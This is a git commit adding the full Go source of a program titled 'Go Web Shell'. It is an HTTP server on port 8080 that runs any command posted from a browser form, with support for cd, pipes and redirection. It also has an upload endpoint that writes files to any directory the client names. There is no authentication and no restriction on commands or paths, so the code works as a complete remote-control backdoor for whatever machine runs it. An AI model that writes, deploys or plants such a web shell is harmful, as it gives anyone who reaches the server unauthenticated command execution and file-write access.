init
This commit is contained in:
parent
a47b7cd3ba
commit
201969ef90
|
@ -0,0 +1,408 @@
|
|||
package main
|
||||
|
||||
import (
|
||||
// "bytes"
|
||||
"fmt"
|
||||
"html/template"
|
||||
"io"
|
||||
"net/http"
|
||||
"os"
|
||||
"os/exec"
|
||||
"os/user"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
type PageData struct {
|
||||
CurrentDir string
|
||||
CurrentUsername string
|
||||
CommandLog []CommandOutput
|
||||
}
|
||||
|
||||
type CommandOutput struct {
|
||||
Command string
|
||||
Output string
|
||||
Error string
|
||||
}
|
||||
|
||||
var commandLog []CommandOutput
|
||||
|
||||
func executeCommand(command string, args []string, dir string) (string, error) {
|
||||
cmd := exec.Command(command, args...)
|
||||
cmd.Dir = dir
|
||||
output, err := cmd.CombinedOutput()
|
||||
return string(output), err
|
||||
}
|
||||
|
||||
func executeSimpleCommand(command string, currentDir string) CommandOutput {
|
||||
var cmdOutput CommandOutput
|
||||
parts := strings.Fields(command)
|
||||
if len(parts) == 0 {
|
||||
return cmdOutput
|
||||
}
|
||||
|
||||
cmd := exec.Command(parts[0], parts[1:]...)
|
||||
cmd.Dir = currentDir
|
||||
output, err := cmd.CombinedOutput()
|
||||
cmdOutput.Command = command
|
||||
cmdOutput.Output = string(output)
|
||||
if err != nil {
|
||||
cmdOutput.Error = err.Error()
|
||||
}
|
||||
return cmdOutput
|
||||
}
|
||||
|
||||
func changeDirectory(command string, args []string, currentDir *string) CommandOutput {
|
||||
var cmdOutput CommandOutput
|
||||
|
||||
if len(args) == 0 {
|
||||
homeDir, _ := os.UserHomeDir()
|
||||
err := os.Chdir(homeDir)
|
||||
if err != nil {
|
||||
cmdOutput = CommandOutput {
|
||||
Command: command,
|
||||
Error: "Failed to change to home directory: " + err.Error(),
|
||||
}
|
||||
} else {
|
||||
cmdOutput = CommandOutput {
|
||||
Command: command,
|
||||
Output: "Changed to home directory: " + homeDir,
|
||||
}
|
||||
*currentDir = homeDir
|
||||
}
|
||||
} else {
|
||||
newDir := args[0]
|
||||
err := os.Chdir(newDir)
|
||||
if err != nil {
|
||||
cmdOutput = CommandOutput {
|
||||
Command: command + " " + newDir,
|
||||
Error: "Failed to change to directory: " + err.Error(),
|
||||
}
|
||||
} else {
|
||||
cmdOutput = CommandOutput {
|
||||
Command: command + " " + newDir,
|
||||
Output: "Changed to directory: " + newDir,
|
||||
}
|
||||
*currentDir = newDir
|
||||
}
|
||||
}
|
||||
return cmdOutput
|
||||
}
|
||||
|
||||
func fileUploadHandler(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method == http.MethodPost {
|
||||
file, header, err := r.FormFile("file")
|
||||
if err != nil {
|
||||
http.Error(w, "Failed to upload file", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
uploadDir := r.FormValue("uploadDir")
|
||||
if uploadDir == "" {
|
||||
uploadDir = "./"
|
||||
}
|
||||
|
||||
out, err := os.Create(filepath.Join(uploadDir, header.Filename))
|
||||
if err != nil {
|
||||
http.Error(w, "Failed to save file", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
defer out.Close()
|
||||
|
||||
_, err = io.Copy(out, file)
|
||||
if err != nil {
|
||||
http.Error(w, "Failed to write file", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
fmt.Fprintf(w, "File %s uploaded successfully to %s", header.Filename, uploadDir)
|
||||
}
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Command redirection and Piping
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
func executeCommandWithRedirection(command string, currentDir string) CommandOutput {
|
||||
var cmdOutput CommandOutput
|
||||
|
||||
// First pipe
|
||||
|
||||
if strings.Contains(command, "|") {
|
||||
cmdOutput = executeCommandWithPipe(command, currentDir)
|
||||
} else {
|
||||
if strings.Contains(command, ">") {
|
||||
cmdOutput = handleOutputRedirection(command, currentDir)
|
||||
} else if strings.Contains(command, "<") {
|
||||
cmdOutput = handleInputRedirection(command, currentDir)
|
||||
} else {
|
||||
cmdOutput = executeSimpleCommand(command, currentDir)
|
||||
}
|
||||
}
|
||||
|
||||
return cmdOutput
|
||||
}
|
||||
|
||||
// Handle output redirection which is '>'
|
||||
func handleOutputRedirection(command string, currentDir string) CommandOutput {
|
||||
var cmdOutput CommandOutput
|
||||
|
||||
parts := strings.Split(command, ">")
|
||||
cmdStr := strings.TrimSpace(parts[0])
|
||||
outputFile := strings.TrimSpace(parts[1])
|
||||
|
||||
cmdParts := strings.Fields(cmdStr)
|
||||
if len(cmdParts) == 0 {
|
||||
return cmdOutput
|
||||
}
|
||||
|
||||
cmd := exec.Command(cmdParts[0], cmdParts[1:]...)
|
||||
cmd.Dir = currentDir
|
||||
|
||||
file, err := os.Create(outputFile)
|
||||
if err != nil {
|
||||
cmdOutput.Error = fmt.Sprintf("Error creating output file: %v", err)
|
||||
return cmdOutput
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
cmd.Stdout = file
|
||||
cmd.Stderr = file
|
||||
|
||||
err = cmd.Run()
|
||||
if err != nil {
|
||||
cmdOutput.Error = fmt.Sprintf("Error executing command: %v", err)
|
||||
}
|
||||
|
||||
cmdOutput.Command = command
|
||||
return cmdOutput
|
||||
|
||||
}
|
||||
|
||||
func handleInputRedirection(command string, currentDir string) CommandOutput {
|
||||
var cmdOutput CommandOutput
|
||||
|
||||
parts := strings.Split(command, "<")
|
||||
cmdStr := strings.TrimSpace(parts[0])
|
||||
inputFile := strings.TrimSpace(parts[1])
|
||||
|
||||
cmdParts := strings.Fields(cmdStr)
|
||||
if len(cmdParts) == 0 {
|
||||
return cmdOutput
|
||||
}
|
||||
|
||||
cmd := exec.Command(cmdParts[0], cmdParts[1:]...)
|
||||
cmd.Dir = currentDir
|
||||
|
||||
file, err := os.Open(inputFile)
|
||||
if err != nil {
|
||||
cmdOutput.Error = fmt.Sprintf("Error opening input file: %v", err)
|
||||
return cmdOutput
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
cmd.Stdin = file
|
||||
output, err := cmd.CombinedOutput()
|
||||
cmdOutput.Output = string(output)
|
||||
if err != nil {
|
||||
cmdOutput.Error = err.Error()
|
||||
}
|
||||
|
||||
cmdOutput.Command = command
|
||||
return cmdOutput
|
||||
}
|
||||
|
||||
func executeCommandWithPipe(command string, currentDir string) CommandOutput {
|
||||
var cmdOutput CommandOutput
|
||||
commands := strings.Split(command, "|")
|
||||
|
||||
// var prevCmdOutput []byte
|
||||
var err error
|
||||
|
||||
var cmds []*exec.Cmd // Pipeline of commands
|
||||
for _, cmdPart := range commands {
|
||||
cmdPart = strings.TrimSpace(cmdPart)
|
||||
parts := strings.Fields(cmdPart)
|
||||
if len(parts) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
cmd := exec.Command(parts[0], parts[1:]...)
|
||||
cmd.Dir = currentDir
|
||||
cmds = append(cmds, cmd)
|
||||
}
|
||||
|
||||
// Connect the commands through the pipeline
|
||||
for i := 0; i < len(cmds)-1; i++ {
|
||||
pipe, pipeErr := cmds[i].StdoutPipe()
|
||||
if pipeErr != nil {
|
||||
cmdOutput.Command = command
|
||||
cmdOutput.Error = fmt.Sprintf("Error creating pipe: %v", pipeErr)
|
||||
return cmdOutput
|
||||
}
|
||||
cmds[i+1].Stdin = pipe
|
||||
}
|
||||
|
||||
// Capture the final output of the last command
|
||||
var outputBuffer strings.Builder
|
||||
cmds[len(cmds)-1].Stdout = &outputBuffer
|
||||
cmds[len(cmds)-1].Stderr = &outputBuffer
|
||||
|
||||
// Start each command in the pipeline
|
||||
for _, cmd := range cmds {
|
||||
err = cmd.Start()
|
||||
if err != nil {
|
||||
cmdOutput.Command = command
|
||||
cmdOutput.Error = fmt.Sprintf("Error starting command '%s': %v", cmd.Path, err)
|
||||
return cmdOutput
|
||||
}
|
||||
}
|
||||
|
||||
// Wait for each command to complete
|
||||
for _, cmd := range cmds {
|
||||
err = cmd.Wait()
|
||||
if err != nil {
|
||||
cmdOutput.Command = command
|
||||
cmdOutput.Error = fmt.Sprintf("Error executing command '%s': %v", cmd.Path, err)
|
||||
return cmdOutput
|
||||
}
|
||||
}
|
||||
// if i > 0 {
|
||||
// cmd.Stdin = bytes.NewReader(prevCmdOutput)
|
||||
// }
|
||||
|
||||
// prevCmdOutput, err = cmd.CombinedOutput()
|
||||
// if err != nil {
|
||||
// cmdOutput.Command = command
|
||||
// cmdOutput.Error = fmt.Sprintf("Error executing command '%s': %v", cmdPart, err)
|
||||
// return cmdOutput
|
||||
// }
|
||||
|
||||
// }
|
||||
|
||||
cmdOutput.Command = command
|
||||
cmdOutput.Output = outputBuffer.String()
|
||||
// cmdOutput.Output = string(prevCmdOutput)
|
||||
return cmdOutput
|
||||
}
|
||||
|
||||
|
||||
func handler(w http.ResponseWriter, r *http.Request) {
|
||||
currentDir, _ := os.Getwd()
|
||||
currentUser, _ := user.Current()
|
||||
currentUsername := currentUser.Username
|
||||
|
||||
if r.Method == http.MethodPost {
|
||||
input := r.FormValue("command")
|
||||
parts := strings.Fields(input)
|
||||
if len(parts) > 0 {
|
||||
command := parts[0]
|
||||
args := parts[1:]
|
||||
if command == "cd" {
|
||||
cmdOutput := changeDirectory(command, args, ¤tDir)
|
||||
commandLog = append(commandLog, cmdOutput)
|
||||
} else {
|
||||
cmdOutput := executeCommandWithRedirection(input, currentDir)
|
||||
|
||||
// output, err := executeCommand(command, args, currentDir)
|
||||
// cmdOutput := CommandOutput{
|
||||
// Command: command + " " + strings.Join(args, " "),
|
||||
// Output: output,
|
||||
// }
|
||||
// if err != nil {
|
||||
// cmdOutput.Error = err.Error()
|
||||
// }
|
||||
commandLog = append(commandLog, cmdOutput)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
tmpl := template.Must(template.New("index").Parse(`
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Go Web Shell</title>
|
||||
<style>
|
||||
body {
|
||||
background-color: #222;
|
||||
color: #eee;
|
||||
font-family: monospace;
|
||||
font-size: 10pt;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
height: 100vh;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
}
|
||||
#terminal {
|
||||
flex: 1;
|
||||
padding: 10px;
|
||||
overflow-y: auto;
|
||||
white-space: pre-wrap;
|
||||
border: none;
|
||||
margin: 10px;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
}
|
||||
input {
|
||||
background: #222;
|
||||
color: #eee;
|
||||
border: none;
|
||||
width: 80%;
|
||||
font-family: monospace;
|
||||
}
|
||||
input:focus {
|
||||
outline: none;
|
||||
}
|
||||
span.command {
|
||||
color: #75df0b;
|
||||
}
|
||||
span.error {
|
||||
color: #ff5555;
|
||||
}
|
||||
span.directory {
|
||||
color: #1bc9e7;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div id="terminal">
|
||||
<span>Current Directory: {{.CurrentDir}}</span>
|
||||
{{range .CommandLog}}
|
||||
<div><span class="command">gommand:$ {{.Command}}</span></div>
|
||||
{{if .Output}}
|
||||
<div>{{.Output}}</div>
|
||||
{{end}}
|
||||
{{if .Error}}
|
||||
<div class="error">{{.Error}}</div>
|
||||
{{end}}
|
||||
{{end}}
|
||||
<form method="POST">
|
||||
<div style="display: flex; align-items: center;">
|
||||
<span class="command">{{.CurrentUsername}}:<span class="directory">{{.CurrentDir}}</span> $ </span>
|
||||
<input type="text" name="command" placeholder="Type a command here..." autofocus required>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
`))
|
||||
|
||||
data := PageData{
|
||||
CurrentDir: currentDir,
|
||||
CurrentUsername: currentUsername,
|
||||
CommandLog: commandLog,
|
||||
}
|
||||
tmpl.Execute(w, data)
|
||||
}
|
||||
|
||||
func main() {
|
||||
http.HandleFunc("/", handler)
|
||||
http.HandleFunc("/upload", fileUploadHandler)
|
||||
fmt.Println("Starting server on :8080")
|
||||
http.ListenAndServe(":8080", nil)
|
||||
}
|
Loading…
Reference in New Issue